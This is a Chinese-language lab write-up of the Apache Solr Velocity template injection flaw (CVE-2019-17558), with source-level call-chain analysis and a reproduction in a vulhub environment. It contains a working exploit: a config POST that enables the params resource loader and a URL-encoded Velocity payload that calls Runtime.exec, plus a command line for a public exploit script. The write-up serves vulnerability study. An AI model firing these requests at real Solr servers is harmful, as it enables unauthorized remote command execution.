漏洞介绍

Solr是Apache Lucene项目的开源企业搜索平台。 其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理。 2019年10月30日,国外安全研究人员放出了一个关于solr 模板注入的exp,攻击者通过未授权访问solr服务器,发送特定的数据包开启 params.resource.loader.enabled,然后get访问接口导致服务器命令执行,命令回显结果在response。

漏洞范围

5.0.0 到 8.3.1版本

靶场配置

使用vulhub的靶场

环境为Apache Solr 8.2.0

/vulhub-master/solr/CVE-2019-17558

1
启动靶场:docker-compose up -d

漏洞原理

漏洞触发分为两步

开启自定义模板

org.apache.solr.servlet.SolrDispatchFilter#doFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.FilterChain)

image-20201015165130152

solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java#L348-L351

将请求对象request、响应对象response传入参数不同的doFilter

org/apache/solr/servlet/SolrDispatchFilter.java:420

image-20201015165420774-1024x147

solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java#L420-L423

创建HttpSolrCall对象,最终call对象中的成员的存储情况如下:

image-20201015165831434-1024x748

继续跟进call方法。

org/apache/solr/servlet/HttpSolrCall.java:566

image-20201015170434806

solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java#L566

这里根据action进行开关选择,进入PROCESS分支,创建SolrQueryResponse对象,然后传入execute方法。

org.apache.solr.servlet.HttpSolrCall#execute

image-20201015170645492

solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java#L775-L781

solrReq.getCore()返回成员中的SolrCore对象,并传入SolrConfigHandler类的hanler成员并调用execute方法。

org.apache.solr.core.SolrCore#execute

image-20201015172414070

solr/core/src/java/org/apache/solr/core/SolrCore.java#L2551-L2594

跟进handler.handleRequest函数

org.apache.solr.handler.RequestHandlerBase#handleRequest

image-20201015172953972

solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java#L181-L254

org.apache.solr.handler.SolrConfigHandler#handleRequestBody

image-20201015173024633

solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java#L126-L144

这里解析POST请求,并进入对应的command.handlePOST

org.apache.solr.handler.SolrConfigHandler.Command#handlePOST

image-20201015193400449

solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java#L332-L358

通过CommandOperation.readCommands得到ops以及相同的opsCopy

image-20201015193805084

继续跟进handleCommands函数

org/apache/solr/handler/SolrConfigHandler.java:480

image-20201015200727542

solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java#L480

首先是updateNamedPlugin函数生成overlay

org.apache.solr.handler.SolrConfigHandler.Command#updateNamedPlugin

image-20201015201418852

solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java#L522-L558

org.apache.solr.handler.SolrConfigHandler.Command#verifyClass

image-20201015201443497

solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java#L566-L579

org.apache.solr.core.SolrCore#createInitInstance

image-20201015201505873

solr/core/src/java/org/apache/solr/core/SolrCore.java#L859-L871

org.apache.solr.response.VelocityResponseWriter#init

image-20201015201532076

solr/contrib/velocity/src/java/org/apache/solr/response/VelocityResponseWriter.java#L91-L125

一路跟进到VelocityResponseWriter对象的初始化,自定义选项已经开启。

image-20201015203500093

org/apache/solr/handler/SolrConfigHandler.java:504

image-20201015194505360

solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java#L504

overlay.toByteArray()转换为JSON格式然后传入SolrResourceLoader.persistConfLocally

org.apache.solr.core.SolrResourceLoader#persistConfLocally

image-20201015195853547

solr/core/src/java/org/apache/solr/core/SolrResourceLoader.java#L888-L916

JSON配置数据写入本地且路径为

1
/Users/rai4over/Desktop/solr-8.2.0/solr/example/example-DIH/solr/solr/conf/configoverlay.json

此时的调用栈为:

1
2
3
4
5
6
7
8
9
10
11
persistConfLocally:890, SolrResourceLoader (org.apache.solr.core)
handleCommands:504, SolrConfigHandler$Command (org.apache.solr.handler)
handlePOST:345, SolrConfigHandler$Command (org.apache.solr.handler)
access$100:159, SolrConfigHandler$Command (org.apache.solr.handler)
handleRequestBody:137, SolrConfigHandler (org.apache.solr.handler)
handleRequest:199, RequestHandlerBase (org.apache.solr.handler)
execute:2578, SolrCore (org.apache.solr.core)
execute:780, HttpSolrCall (org.apache.solr.servlet)
call:566, HttpSolrCall (org.apache.solr.servlet)
doFilter:423, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:350, SolrDispatchFilter (org.apache.solr.servlet)

velocity模板注入

前面的流程和上面比较相似,直接看触发模板注入的位置

org/apache/solr/servlet/HttpSolrCall.java:580

image-20201015221012880

solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java#L580, L582

首先获取前面开启params.resource.loader.enabled选项的QueryResponseWriter对象,接着传入writeResponse函数。

org.apache.solr.servlet.HttpSolrCall#writeResponse

image-20201015222334657

solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java#L851-L879

接着调用QueryResponseWriterUtil.writeQueryResponse

org.apache.solr.response.QueryResponseWriterUtil#writeQueryResponse

image-20201015222542120

solr/core/src/java/org/apache/solr/response/QueryResponseWriterUtil.java#L43-L68

org.apache.solr.response.VelocityResponseWriter#write

image-20201015222628514

solr/contrib/velocity/src/java/org/apache/solr/response/VelocityResponseWriter.java#L149-L196

完成命令执行,此时的调用栈为:

1
2
3
4
5
6
write:150, VelocityResponseWriter (org.apache.solr.response)
writeQueryResponse:65, QueryResponseWriterUtil (org.apache.solr.response)
writeResponse:873, HttpSolrCall (org.apache.solr.servlet)
call:582, HttpSolrCall (org.apache.solr.servlet)
doFilter:423, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:350, SolrDispatchFilter (org.apache.solr.servlet)

漏洞复现

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

1
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

Vulhub里唯一的核心是demo

image-20241022193500011

通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

之后,注入Velocity模板即可执行任意命令:

1
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

image-20241022193707100

exp

GitHub - jas502n/solr_rce: Apache Solr RCE via Velocity template

1
python2 solr_rce.py http://x.x.x.x:8983 command

image-20241022194358866

复现成功

msf利用

image-20241022194952113

参考

CVE-2019-17558漏洞复现 - 冰淇淋干杯 - 博客园 (cnblogs.com)

GitHub - jas502n/solr_rce: Apache Solr RCE via Velocity template

Apache Solr Velocity模板注入RCE漏洞复现 - 雨中落叶 - 博客园 (cnblogs.com)

Apache Solr 远程代码执行漏洞浅析(CVE-2019-17558) - SecPulse.COM | 安全脉搏